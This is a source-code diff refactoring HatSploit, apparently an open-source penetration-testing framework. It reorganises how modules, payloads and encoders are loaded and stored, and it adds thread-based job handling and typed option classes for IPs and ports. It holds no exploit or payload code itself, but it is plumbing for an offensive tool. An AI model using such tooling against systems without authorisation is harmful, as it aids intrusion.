-        if payload and module and imported_encoders and 'Encoder' in payload.details:
-            module_name = module.details['Module']
-            payload_name = payload.details['Payload']
-
-            if module_name in imported_encoders and payload_name in imported_encoders[module_name]:
-                name = payload.details['Encoder']['Value']
-
-                return imported_encoders[module_name][payload_name].get(name, None)
+        if hasattr(payload, 'encoder'):
+            return self.get_payload_encoder(payload.encoder.value, module, payload)
 
     def import_encoder(self, module: str, payload: str, encoder: str) -> Union[Encoder, None]:
         """ Import encoder.
@@ -171,13 +149,13 @@ def import_encoder(self, module: str, payload: str, encoder: str) -> Union[Encod
                 if module in imported_encoders:
                     if payload in imported_encoders[module]:
                         imported_encoders[module][payload].update({
-                            encoder_object.details['Encoder']: encoder_object
+                            encoder_object.info['Encoder']: encoder_object
                         })
 
                     else:
                         imported_encoders[module].update({
                             payload: {
-                                encoder_object.details['Encoder']: encoder_object
+                                encoder_object.info['Encoder']: encoder_object
                             }
                         })
 
@@ -185,7 +163,7 @@ def import_encoder(self, module: str, payload: str, encoder: str) -> Union[Encod
                     imported_encoders.update({
                         module: {
                             payload: {
-                                encoder_object.details['Encoder']: encoder_object
+                                encoder_object.info['Encoder']: encoder_object
                             }
                         }
                     })
@@ -194,12 +172,12 @@ def import_encoder(self, module: str, payload: str, encoder: str) -> Union[Encod
                 imported_encoders = {
                     module: {
                         payload: {
-                            encoder_object.details['Encoder']: encoder_object
+                            encoder_object.info['Encoder']: encoder_object
                         }
                     }
                 }
 
-            self.local_storage.set("imported_encoders", imported_encoders)
+            STORAGE.set("imported_encoders", imported_encoders)
 
         return encoder_object
 
@@ -210,16 +188,7 @@ def check_exist(self, encoder: str) -> bool:
         :return bool: True if exists else False
         """
 
-        all_encoders = self.get_encoders()
-
-        if all_encoders:
-            for database in all_encoders:
-                encoders = all_encoders[database]
-
-                if encoder in encoders:
-                    return True
-
-        return False
+        return encoder in self.get_encoders()
 
     def check_imported(self, module: str, payload: str, encoder: str) -> bool:
         """ Check if encoder is imported.
@@ -239,7 +208,8 @@ def check_imported(self, module: str, payload: str, encoder: str) -> bool:
 
         return False
 
-    def encode_payload(self, encoder: Encoder, code: bytes) -> bytes:
+    @staticmethod
+    def encode_payload(encoder: Encoder, code: bytes) -> bytes:
         """ Encode full payload or provided code.
 
         :param Encoder encoder: encoder object
@@ -247,7 +217,7 @@ def encode_payload(self, encoder: Encoder, code: bytes) -> bytes:
         :return bytes: encoded payload
         """
 
-        missed = self.options.validate_options(encoder)
+        missed = encoder.validate()
 
         if missed:
             raise RuntimeError(
@@ -270,21 +240,24 @@ def check_payload_compatible(self, encoder: str, payload: Payload) -> bool:
         if self.check_exist(encoder):
             encoder = self.get_encoder_object(encoder)
 
-            if encoder['Arch'] == payload.details['Arch']:
+            if encoder['Arch'] == payload.info['Arch']:
                 return True
 
         return False
 
-    def add_encoder(self, module: str, payload: str, encoder: str) -> None:
+    def add_encoder(self, module: Module, payload: Payload, encoder: str) -> None:
         """ Add encoder to module and payload which you want to reserve it for.
 
-        :param str module: module which you want to reserve encoder for
-        :param str payload: payload which you want to reserve encoder for
+        :param Module module: module which you want to reserve encoder for
+        :param Payload payload: payload which you want to reserve encoder for
         :param str encoder: encoder name
         :return None: None
         :raises RuntimeError: with trailing error message
         """
 
-        if not self.check_imported(module, payload, encoder):
-            if not self.import_encoder(module, payload, encoder):
+        module_name = module.info['Module']
+        payload_name = payload.info['Payload']
+
+        if not self.check_imported(module_name, payload_name, encoder):
+            if not self.import_encoder(module_name, payload_name, encoder):
                 raise RuntimeError(f"Failed to select encoder from database: {encoder}!")
diff --git a/hatsploit/lib/history.py b/hatsploit/lib/ui/history.py
similarity index 72%
rename from hatsploit/lib/history.py
rename to hatsploit/lib/ui/history.py
index 02c1e6547..2e375b469 100755
--- a/hatsploit/lib/history.py
+++ b/hatsploit/lib/ui/history.py
@@ -22,11 +22,9 @@
 SOFTWARE.
 """
 
-import readline
-
 from hatsploit.lib.config import Config
 from hatsploit.lib.storage import GlobalStorage
-from hatsploit.lib.storage import LocalStorage
+from hatsploit.lib.storage import STORAGE
 
 
 class History(object):
@@ -36,16 +34,12 @@ class History(object):
     tools for interacting with HatSploit history and configuring it.
     """
 
-    def __init__(self) -> None:
-        super().__init__()
-
-        self.config = Config()
-        self.local_storage = LocalStorage()
+    config = Config()
 
-        self.history = self.config.path_config['history_path']
-        self.storage_path = self.config.path_config['storage_path']
+    history = config.path_config['history_path']
+    storage_path = config.path_config['storage_path']
 
-        self.global_storage = GlobalStorage(self.storage_path)
+    global_storage = GlobalStorage(storage_path)
 
     def enable_history(self) -> None:
         """ Enable history globally
@@ -67,39 +61,25 @@ def disable_history(self) -> None:
         self.global_storage.set("history", False)
         self.global_storage.set_all()
 
-        readline.clear_history()
-
-        with open(self.history, 'w') as history:
-            history.write("")
-
     def clear_history(self) -> None:
         """ Clear history, clear history file.
 
         :return None: None
         """
 
-        readline.clear_history()
-
         with open(self.history, 'w') as history:
             history.write("")
 
-    def list_history(self) -> list:
+    @staticmethod
+    def list_history() -> list:
         """ List history.
 
         :return list: history, line per index
         :raises RuntimeWarning: with trailing warning message
         """
 
-        using_history = self.local_storage.get("history")
+        using_history = STORAGE.get("history")
 
         if using_history:
-            if readline.get_current_history_length() > -1:
-                history = []
-
-                for index in range(1, readline.get_current_history_length() + 1):
-                    history.append(readline.get_history_item(index))
-
-                return history
-
             raise RuntimeWarning("HatSploit history empty.")
         raise RuntimeWarning("No HatSploit history detected.")
diff --git a/hatsploit/lib/ui/jobs.py b/hatsploit/lib/ui/jobs.py
new file mode 100755
index 000000000..1408e10c4
--- /dev/null
+++ b/hatsploit/lib/ui/jobs.py
@@ -0,0 +1,185 @@
+"""
+MIT License
+
+Copyright (c) 2020-2024 EntySec
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+"""
+
+import time
+import ctypes
+import threading
+
+from typing import (
+    Callable,
+    Any,
+    Union,
+    Optional
+)
+
+from hatsploit.lib.storage import STORAGE
+
+
+class Job(threading.Thread):
+    """ Subclass of hatsploit.lib module.
+
+    This subclass of hatsploit.lib module is a representation
+    of a job instance used to store job related information and
+    job object.
+    """
+
+    def __init__(self, *args, **kwargs) -> None:
+        threading.Thread.__init__(self, *args, **kwargs)
+
+        self._return = None
+        self.daemon = True
+        self.visible = True
+        self.module = None
+        self.name = None
+
+    def run(self) -> None:
+        """ Internal thread run method.
+
+        :return None: None
+        """
+
+        if self._target is not None:
+            self._return = self._target(
+                *self._args, **self._kwargs)
+
+    def join(self, *args) -> Any:
+        """ Flush job and wait for result.
+
+        :return Any: thread return value
+        """
+
+        threading.Thread.join(self, *args)
+        return self._return
+
+    def shutdown(self) -> None:
+        """ Terminate current job.
+
+        :return None: None
+        """
+
+        if self.is_alive():
+            exc = ctypes.py_object(SystemExit)
+            res = ctypes.pythonapi.PyThreadState_SetAsyncExc(ctypes.c_long(self.ident), exc)
+
+            if res > 1:
+                ctypes.pythonapi.PyThreadState_SetAsyncExc(self.ident, None)
+                raise RuntimeError("Failed to shutdown job!")
+
+
+class Jobs(object):
+    """ Subclass of hatsploit.lib module.
+
+    This subclass of hatsploit.lib module is intended for providing
+    tools for working with HatSploit jobs (threads).
+    """
+
+    @staticmethod
+    def get_jobs() -> dict:
+        """ Get all jobs from local storage.
+
+        :return dict: jobs, ids as keys and details as items
+        """
+
+        return STORAGE.get("jobs", {})
+
+    def get_job(self, job_id: int) -> Union[Job, None]:
+        """ Get job object.
+
+        :param int job_id: job id
+        :return Union[Job, None]: job object or None
+        """
+
+        return self.get_jobs().get(job_id, None)
+
+    def stop_dead(self) -> None:
+        """ Stop all dead jobs (inactive threads).
+
+        :return None: None
+        """
+
+        jobs = self.get_jobs()
+
+        if not jobs:
+            return
+
+        for job_id in list(jobs):
+            if jobs[job_id].is_alive():
+                continue
+
+            STORAGE.delete_element('jobs', job_id)
+
+    def count_jobs(self) -> int:
+        """ Count all visible jobs from local storage.
+
+        :return int: number of visible jobs
+        """
+
+        return len(self.get_jobs())
+
+    def stop_jobs(self) -> None:
+        """ Stop all jobs.
+
+        :return None: None
+        """
+
+        jobs = self.get_jobs()
+
+        for _, job in jobs.items():
+            job.shutdown()
+            job.join()
+
+        self.stop_dead()
+
+    def create_job(self, job: str, module: str, target: Callable[..., Any],
+                   args: list = [], kwargs: dict = {}, timeout: Optional[int] = None) -> int:
+        """ Create and start job.
+
+        :param str job: job name
+        :param str module: name of module you want to reserve job for,
+        empty if no module
+        :param Callable[..., Any] target: job function
+        :param list args: extra job function arguments
+        :param dict kwargs: extra job function kwargs
+        :param Optional[int] timeout: time to wait after job was created
+        :return int: job ID
+        """
+
+        if not self.get_jobs():
+            STORAGE.set('jobs', {})
+
+        job_id = 0
+        while job_id in self.get_jobs() or \
+                job_id < len(self.get_jobs()):
+            job_id += 1
+
+        job_thread = Job(target=target, args=args, kwargs=kwargs)
+        job_thread.module = module
+        job_thread.name = job
+        job_thread.start()
+
+        if timeout:
+            time.sleep(timeout)
+
+        STORAGE.update('jobs', {job_id: job_thread})
+        return job_id
diff --git a/hatsploit/lib/modules.py b/hatsploit/lib/ui/modules.py
similarity index 65%
rename from hatsploit/lib/modules.py
rename to hatsploit/lib/ui/modules.py
index 347c659cc..e19cd1de6 100755
--- a/hatsploit/lib/modules.py
+++ b/hatsploit/lib/ui/modules.py
@@ -22,114 +22,85 @@
 SOFTWARE.
 """
 
+import sys
+import traceback
 import copy
-import os
 
 from typing import Union, Optional, Callable
 
 from badges import Badges
 
-from hatsploit.core.db.importer import Importer
+from hatsploit.core.db.db import DB
 
-from hatsploit.lib.encoder import Encoder
-from hatsploit.lib.encoders import Encoders
-from hatsploit.lib.options import Options
-from hatsploit.lib.payload import Payload
-from hatsploit.lib.payloads import Payloads
-from hatsploit.lib.sessions import Sessions
-from hatsploit.lib.storage import LocalStorage
-from hatsploit.lib.module import Module
+from hatsploit.lib.ui.payloads import Payloads
+from hatsploit.lib.ui.sessions import Sessions
+from hatsploit.lib.ui.encoders import Encoders
 
+from hatsploit.lib.core.encoder import Encoder
+from hatsploit.lib.core.payload import Payload
+from hatsploit.lib.core.module import Module
 
-class Modules(object):
+from hatsploit.lib.storage import STORAGE
+
+
+class Modules(Badges):
     """ Subclass of hatsploit.lib module.
 
     This subclass of hatsploit.lib module is intended for providing
     tools for working with HatSploit modules.
     """
 
-    def __init__(self) -> None:
-        super().__init__()
-
-        self.badges = Badges()
-        self.importer = Importer()
+    payloads = Payloads()
+    encoders = Encoders()
+    sessions = Sessions()
 
-        self.options = Options()
-        self.payloads = Payloads()
-        self.encoders = Encoders()
-        self.sessions = Sessions()
-        self.local_storage = LocalStorage()
-
-    def modules_completer(self, text: str) -> list:
+    def modules_completer(self) -> list:
         """ Tab-completion for modules.
 
-        :param str text: text to complete
         :return list: list of completions
         """
 
-        modules = self.get_modules()
-        matches = []
-
-        if modules:
-            for database in modules:
-                for module in modules[database]:
-                    if module.startswith(text):
-                        matches.append(module)
-
-        return matches
+        return {module: None for module in self.get_modules()}
 
-    def get_modules(self) -> dict:
+    @staticmethod
+    def get_modules(criteria: dict = {}) -> dict:
         """ Get all modules from local storage.
 
+        :param dict criteria: DB search criteria
         :return dict: modules, module names as keys and
         module objects as items
         """
 
-        return self.local_storage.get("modules", {})
+        return DB(table='modules').dump(criteria=criteria)
 
-    def get_imported_modules(self) -> dict:
+    @staticmethod
+    def get_imported_modules() -> dict:
         """ Get all imported modules from local storage.
 
         :return dict: modules, module name as keys and
         module objects as items
         """
 
-        return self.local_storage.get("imported_modules", {})
-
-    def get_database(self, module: str) -> str:
-        """ Get database in which specific module exists.
+        return STORAGE.get("imported_modules", {})
 
-        :param str module: module name
-        :return str: database name
-        """
-
-        all_modules = self.get_modules()
-
-        if all_modules:
-            for database in all_modules:
-                modules = all_modules[database]
-
-                if module in modules:
-                    return database
-
-        return ''
-
-    def get_module(self, module: str) -> Union[Module, None]:
+    @staticmethod
+    def get_module(module: str) -> Union[Module, None]:
         """ Import and get imported module.
 
         :param str module: module name
         :return Union[Module, None]: imported module, None if failed to import
         """
 
-        module_object = self.get_module_object(module)
-
         try:
-            imported_module = self.importer.import_module(module_object['Path'])
-            self.options.add_options(imported_module)
+            module_object = DB(table='modules').load(
+                criteria={'BaseName': module}).get(module)
+            module_object.update()
+
         except Exception:
-            return None
+            traceback.print_exc(file=sys.stdout)
+            return
 
-        return imported_module
+        return module_object
 
     def get_module_object(self, module: str) -> dict:
         """ Get module object, this object represents module details
@@ -139,22 +110,21 @@ def get_module_object(self, module: str) -> dict:
         :return dict: module object, module details
         """
 
-        if self.check_exist(module):
-            database = self.get_database(module)
-
-            return self.get_modules()[database][module]
-        return {}
+        return self.get_modules(
+            {'BaseName': module}).get(module, {})
 
-    def get_current_module(self) -> Union[Module, None]:
+    @staticmethod
+    def get_current_module() -> Union[Module, None]:
         """ Get current module, this is module which is currently used.
 
         :return Union[Module, None]: current module, None if no current module
         """
 
-        if self.local_storage.get("current_module"):
-            return self.local_storage.get("current_module")[-1]
+        if STORAGE.get("current_module"):
+            return STORAGE.get("current_module")[-1]
 
-    def get_number_module(self, number: int) -> str:
+    @staticmethod
+    def get_number_module(number: int) -> str:
         """ Get module name by its number.
 
         :param int number: module number
@@ -162,7 +132,7 @@ def get_number_module(self, number: int) -> str:
         """
 
         module = ''
-        module_shorts = self.local_storage.get("module_shorts")
+        module_shorts = STORAGE.get("module_shorts")
 
         if module_shorts:
             if number in module_shorts:
@@ -174,7 +144,7 @@ def search_module(self, name: str) -> str:
         """ Get module name by full module name.
 
         Note: Module name looks like this:
-              - exploit/generic/handler_reverse_tcp
+              - exploit/generic/handler
               Full module name looks like this:
               - Reverse TCP Handler
 
@@ -184,10 +154,9 @@ def search_module(self, name: str) -> str:
 
         modules = self.get_modules()
 
-        for database in modules:
-            for module in modules[database]:
-                if modules[database][module]['Name'].lower() == name.lower():
-                    return modules[database][module]['Module']
+        for module in modules:
+            if modules[module]['Name'].lower() == name.lower():
+                return module
 
         return ''
 
@@ -200,11 +169,15 @@ def import_module(self, module: str) -> Union[Module, None]:
 
         module_object = self.get_module(module)
 
-        if module_object:
-            if self.get_imported_modules():
-                self.local_storage.update("imported_modules", {module: module_object})
-            else:
-                self.local_storage.set("imported_modules", {module: module_object})
+        if not module_object:
+            return
+
+        if self.get_imported_modules():
+            STORAGE.update(
+                "imported_modules", {module: module_object})
+        else:
+            STORAGE.set(
+                "imported_modules", {module: module_object})
 
         return module_object
 
@@ -215,16 +188,17 @@ def check_exist(self, module: str) -> bool:
         :return bool: True if exists else False
         """
 
-        all_modules = self.get_modules()
+        return module in self.get_modules()
 
-        if all_modules:
-            for database in all_modules:
-                modules = all_modules[database]
+    @staticmethod
+    def check_payload(module: Module) -> bool:
+        """ Check if module has a payload configurable.
 
-                if module in modules:
-                    return True
+        :param Module module: module object
+        :return bool: True if yes else False
+        """
 
-        return False
+        return hasattr(module, 'payload')
 
     def check_imported(self, module: str) -> bool:
         """ Check if encoder is imported.
@@ -251,7 +225,7 @@ def check_if_already_used(self, module: str) -> bool:
         current_module = self.get_current_module()
 
         if current_module:
-            if module == current_module.details['Module']:
+            if module == current_module.info['Module']:
                 return True
 
         return False
@@ -290,26 +264,38 @@ def add_module(self, module: str) -> None:
         if self.check_imported(module):
             module_object = imported_modules[module]
             self.add_to_global(module_object)
+            return
 
-        else:
-            module_object = self.import_module(module)
+        module_object = self.import_module(module)
+
+        if not module_object:
+            raise RuntimeError(f"Failed to select module from database: {module}!")
+
+        self.add_to_global(module_object)
 
-            if module_object:
-                self.add_to_global(module_object)
+        if not self.set_current_module_target(0):
+            if self.check_payload(module_object):
+                module_object.payload.criteria.update(
+                    module_object.info.get('Payload', {}))
 
-                if 'Payload' in module_object.details:
-                    payload_name = module_object.details['Payload'].get('Value', None)
+        if self.check_payload(module_object):
+            mixins = module_object.payload.criteria
 
-                    if payload_name:
-                        self.badges.print_process(f"Using default payload {payload_name}...")
+            for mixin in mixins:
+                payload_name = mixins[mixin].get('Value', None)
 
-                        if module_object.set('payload', payload_name):
-                            return
+                if not mixin.priority:
+                    continue
 
+                if payload_name:
+                    self.print_process(f"Using default payload {payload_name}...")
+
+                    if not module_object.set('payload', payload_name):
                         self.go_back()
                         raise RuntimeError(f"Invalid default payload: {payload_name}!")
-            else:
-                raise RuntimeError(f"Failed to select module from database: {module}!")
+
+        module_object()
+        module_object.update()
 
     def add_to_global(self, module: Module) -> None:
         """ Allocate space in local storage for module object.
@@ -319,12 +305,12 @@ def add_to_global(self, module: Module) -> None:
         """
 
         if self.get_current_module():
-            current_module = self.local_storage.get("current_module")
+            current_module = STORAGE.get("current_module")
             current_module.append(module)
 
-            self.local_storage.set("current_module", current_module)
+            STORAGE.set("current_module", current_module)
         else:
-            self.local_storage.set("current_module", [module])
+            STORAGE.set("current_module", [module])
 
     def go_back(self) -> None:
         """ Go back to the previous module in the local storage.
@@ -333,10 +319,10 @@ def go_back(self) -> None:
         """
 
         if self.get_current_module():
-            current_module = self.local_storage.get("current_module")
+            current_module = STORAGE.get("current_module")
             current_module.pop()
 
-            self.local_storage.set("current_module", current_module)
+            STORAGE.set("current_module", current_module)
 
     @staticmethod
     def run_module(module: Module) -> None:
@@ -353,7 +339,7 @@ def run_module(module: Module) -> None:
 
         if not module.check():
             raise RuntimeWarning(
-                f"{module.details['Category'].title()} module failed! (not vulnerable)")
+                f"{module.info['Category'].title()} module failed! (not vulnerable)")
 
         module.run()
 
@@ -369,7 +355,7 @@ def entry_to_module(self, module: Module) -> None:
 
         for option in module.options:
             opt = module.options[option]
-            val = str(opt['Value'])
+            val = str(opt.value)
 
             if val.startswith('file:') and len(val) > 5:
                 file = val[5:]
@@ -391,10 +377,10 @@ def entry_to_module(self, module: Module) -> None:
 
             for option in module.options:
                 opt = module.options[option]
-                val = str(opt['Value'])
+                val = str(opt.value)
 
                 if val.startswith('file:') and len(val) > 5:
-                    module.options[option]['Value'] = values[count][i]
+                    module.options[option].value = values[count][i]
                     count += 1
 
             try:
@@ -405,7 +391,8 @@ def entry_to_module(self, module: Module) -> None:
             module.options = save
             save = copy.deepcopy(module.options)
 
-    def find_shorts(self, type: str, value: str) -> str:
+    @staticmethod
+    def find_shorts(type: str, value: str) -> str:
         """ Find shorts by value, which is considered to be a number.
 
         :param str type: type of shorts, e.g. payload, encoder
@@ -414,7 +401,7 @@ def find_shorts(self, type: str, value: str) -> str:
         """
 
         if type == 'payload':
-            payload_shorts = self.local_storage.get("payload_shorts")
+            payload_shorts = STORAGE.get("payload_shorts")
 
             if payload_shorts:
                 if value.isdigit():
@@ -424,7 +411,7 @@ def find_shorts(self, type: str, value: str) -> str:
                         value = payload_shorts[payload_number]
 
         elif type == 'encoder':
-            encoder_shorts = self.local_storage.get("encoder_shorts")
+            encoder_shorts = STORAGE.get("encoder_shorts")
 
             if encoder_shorts:
                 if value.isdigit():
@@ -449,13 +436,13 @@ def get_current_options(self) -> dict:
         payload = self.payloads.get_current_payload(module)
         encoder = self.encoders.get_current_encoder(module, payload)
 
-        if hasattr(module, 'options'):
+        if module:
             options.update(module.options)
 
-        if hasattr(payload, 'options'):
+        if payload:
             options.update(payload.options)
 
-        if hasattr(encoder, 'options'):
+        if encoder:
             options.update(encoder.options)
 
         return options
@@ -474,13 +461,13 @@ def get_current_advanced(self) -> dict:
         payload = self.payloads.get_current_payload(module)
         encoder = self.encoders.get_current_encoder(module, payload)
 
-        if hasattr(module, 'advanced'):
+        if module:
             options.update(module.advanced)
 
-        if hasattr(payload, 'advanced'):
+        if payload:
             options.update(payload.advanced)
 
-        if hasattr(encoder, 'advanced'):
+        if encoder:
             options.update(encoder.advanced)
 
         return options
@@ -502,15 +489,15 @@ def set_current_module_option(self, option: str, value: Optional[str] = None) ->
             raise RuntimeWarning("No module selected.")
 
         if module.set(option, value):
-            self.badges.print_information(f"{option} => {value}")
+            self.print_information(f"{option} => {value}")
             return
 
         if payload and payload.set(option, value):
-            self.badges.print_information(f"{option} => {value}")
+            self.print_information(f"{option} => {value}")
             return
 
         if encoder and encoder.set(option, value):
-            self.badges.print_information(f"{option} => {value}")
+            self.print_information(f"{option} => {value}")
             return
 
         raise RuntimeError("Unrecognized option name!")
@@ -529,6 +516,40 @@ def check_current_module(self) -> bool:
 
         return False
 
+    def set_current_module_target(self, target_id: int) -> bool:
+        """ Set current module target.
+
+        :param int target_id: target ID
+        :return bool: True if success else False
+        :raises RuntimeWarning: with trailing warning message
+        """
+
+        module = self.get_current_module()
+
+        if not module:
+            raise RuntimeWarning("No module selected.")
+
+        targets = module.info['Targets']
+
+        if target_id < 0 or len(targets) <= target_id:
+            return False
+
+        target = list(targets)[target_id]
+        module.target = targets[target]
+        module.target.update({'Name': target})
+
+        if not self.check_payload(module):
+            return True
+
+        if 'Payload' in module.target:
+            module.payload.criteria.update(module.target['Payload'])
+        else:
+            module.payload.criteria.update(
+                module.info.get('Payload', {}))
+
+        module.payload.unset()
+        return True
+
     def run_current_module(self, loop: bool = False, catch: Optional[Callable[..., None]] = None) -> None:
         """ Run current module.
 
@@ -542,42 +563,41 @@ def run_current_module(self, loop: bool = False, catch: Optional[Callable[..., N
         payload = self.payloads.get_current_payload(module)
         encoder = self.encoders.get_current_encoder(module, payload)
 
-        if module:
-            module_name = module.details['Module']
-            missed = self.options.validate_options(module)
+        if not module:
+            raise RuntimeWarning("No module selected.")
 
-            if payload:
-                missed += self.options.validate_options(payload)
+        module_name = module.info['Module']
+        missed = module.validate()
 
-                if encoder:
-                    missed += self.options.validate_options(encoder)
+        if payload:
+            missed += payload.validate()
 
-            if missed:
-                raise RuntimeError(
-                    f"These options are failed to validate: {', '.join(missed)}!")
+            if encoder:
+                missed += encoder.validate()
 
-            try:
-                self.badges.print_empty()
-
-                if loop:
-                    while True:
-                        if catch is not None:
-                            catch(
-                                self.entry_to_module, [module])
-                        else:
-                            self.entry_to_module(module)
-                else:
+        if missed:
+            raise RuntimeError(
+                f"These options are failed to validate: {', '.join(missed)}!")
+
+        try:
+            self.print_empty()
+
+            if loop:
+                while True:
                     if catch is not None:
-                        catch(self.entry_to_module, [module])
+                        catch(
+                            self.entry_to_module, [module])
                     else:
                         self.entry_to_module(module)
+            else:
+                if catch is not None:
+                    catch(self.entry_to_module, [module])
+                else:
+                    self.entry_to_module(module)
 
-                self.badges.print_success(
-                    f"{module_name.split('/')[0].title()} module completed!")
+            self.print_success(
+                f"{module_name.split('/')[0].title()} module completed!")
 
-            except (KeyboardInterrupt, EOFError):
-                raise RuntimeWarning(
-                    f"{module_name.split('/')[0].title()} module interrupted.")
-
-        else:
-            raise RuntimeWarning("No module selected.")
+        except (KeyboardInterrupt, EOFError):
+            raise RuntimeWarning(
+                f"{module_name.split('/')[0].title()} module interrupted.")
diff --git a/hatsploit/lib/ui/option.py b/hatsploit/lib/ui/option.py
new file mode 100644
index 000000000..ad22f5ab4
--- /dev/null
+++ b/hatsploit/lib/ui/option.py
@@ -0,0 +1,320 @@
+"""
+MIT License
+
+Copyright (c) 2020-2024 EntySec
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+"""
+
+import socket
+from typing import Union
+
+from pex.type import Type
+from pex.socket import Socket
+
+from hatsploit.lib.ui.options import Option
+
+
+class BytesOption(Option):
+    """ Subclass of hatsploit.lib.option module.
+
+    This subclass of hatsploit.lib.option module is a representation
+    of an option that stores bytes.
+    """
+
+    def set(self, value: bytes) -> None:
+        """ Set current option value.
+
+        :param bytes value: option value to set
+        :return None: None
+        """
+
+        self.value = bytes.fromhex(value.replace('\\x', ''))
+
+
+class IPv4Option(Option):
+    """ Subclass of hatsploit.lib.option module.
+
+    This subclass of hatsploit.lib.option module is a representation
+    of an option that stores IPv4.
+    """
+
+    def __init__(self, *args, **kwargs) -> None:
+        """ Initialize IPv4 option.
+
+        :return None: None
+        """
+
+        self.big = b''
+        self.little = b''
+
+        super().__init__(*args, **kwargs)
+
+    def __getattribute__(self, item):
+        attr = super().__getattribute__(item)
+
+        if attr is None:
+            return
+
+        if item == 'value':
+            if Type.is_ipv4(attr):
+                return attr
+
+            return socket.gethostbyname(attr)
+
+        elif item == 'little':
+            attr = self.value
+
+            if Type.is_ipv4(attr):
+                return Socket().pack_host(attr)
+
+            return Socket().pack_host(
+                socket.gethostbyname(attr))
+
+        elif item == 'big':
+            attr = self.value
+
+            if Type.is_ipv4(attr):
+                return Socket().pack_host(attr, 'big')
+
+            return Socket().pack_host(
+                socket.gethostbyname(attr), 'big')
+
+        return attr
+
+    def set(self, value: str) -> None:
+        """ Set current option value.
+
+        :param str value: option value to set
+        :return None: None
+        """
+
+        self.value = value
+
+
+class IPv6Option(Option):
+    """ Subclass of hatsploit.lib.option module.
+
+    This subclass of hatsploit.lib.option module is a representation
+    of an option that stores IPv6.
+    """
+
+    def set(self, value: str) -> None:
+        """ Set current option value.
+
+        :param str value: option value to set
+        :return None: None
+        """
+
+        self.check('IPv6', Type.is_ipv6, value)
+        self.value = value
+
+
+class IPOption(Option):
+    """ Subclass of hatsploit.lib.option module.
+
+    This subclass of hatsploit.lib.option module is a representation
+    of an option that stores IPv6/IPv4.
+    """
+
+    def set(self, value: str) -> None:
+        """ Set current option value.
+
+        :param str value: option value to set
+        :return None: None
+        """
+
+        self.check('IP', Type().is_ip, value)
+        self.value = value
+
+
+class MACOption(Option):
+    """ Subclass of hatsploit.lib.option module.
+
+    This subclass of hatsploit.lib.option module is a representation
+    of an option that stores MAC address.
+    """
+
+    def set(self, value: str) -> None:
+        """ Set current option value.
+
+        :param str value: option value to set
+        :return None: None
+        """
+
+        self.check('MAC', Type.is_mac, value)
+        self.value = value
+
+
+class IPv4CIDROption(Option):
+    """ Subclass of hatsploit.lib.option module.
+
+    This subclass of hatsploit.lib.option module is a representation
+    of an option that stores IPv4 CIDR.
+    """
+
+    def set(self, value: str) -> None:
+        """ Set current option value.
+
+        :param str value: option value to set
+        :return None: None
+        """
+
+        self.check('IPv4 CIDR', Type().is_ipv4_cidr, value)
+        self.value = value
+
+
+class IPv6CIDROption(Option):
+    """ Subclass of hatsploit.lib.option module.
+
+    This subclass of hatsploit.lib.option module is a representation
+    of an option that stores IPv6 CIDR.
+    """
+
+    def set(self, value: str) -> None:
+        """ Set current option value.
+
+        :param str value: option value to set
+        :return None: None
+        """
+
+        self.check('IPv6 CIDR', Type().is_ipv6_cidr, value)
+        self.value = value
+
+
+class PortOption(Option):
+    """ Subclass of hatsploit.lib.option module.
+
+    This subclass of hatsploit.lib.option module is a representation
+    of an option that stores TCP/UDP port.
+    """
+
+    def __init__(self, *args, **kwargs) -> None:
+        """ Initialize port option.
+
+        :return None: None
+        """
+
+        self.big = b''
+        self.little = b''
+
+        super().__init__(*args, **kwargs)
+
+    def set(self, value: int) -> None:
+        """ Set current option value.
+
+        :param int value: option value to set
+        :return None: None
+        """
+
+        self.check('port', Type().is_port, value)
+        self.value = int(value)
+
+        self.little = Socket().pack_port(self.value)
+        self.big = Socket().pack_port(self.value, 'big')
+
+
+class PortRangeOption(Option):
+    """ Subclass of hatsploit.lib.option module.
+
+    This subclass of hatsploit.lib.option module is a representation
+    of an option that stores port range.
+    """
+
+    def set(self, value: str) -> None:
+        """ Set current option value.
+
+        :param str value: option value to set
+        :return None: None
+        """
+
+        self.check('port range', Type().is_port_range, value)
+        self.value = value
+
+
+class NumberOption(Option):
+    """ Subclass of hatsploit.lib.option module.
+
+    This subclass of hatsploit.lib.option module is a representation
+    of an option that stores float/integer.
+    """
+
+    def set(self, value: Union[int, float]) -> None:
+        """ Set current option value.
+
+        :param Union[int, float] value: option value to set
+        :return None: None
+        """
+
+        self.check('number', Type().is_number, value)
+        self.value = value
+
+
+class IntegerOption(Option):
+    """ Subclass of hatsploit.lib.option module.
+
+    This subclass of hatsploit.lib.option module is a representation
+    of an option that stores integer.
+    """
+
+    def set(self, value: int) -> None:
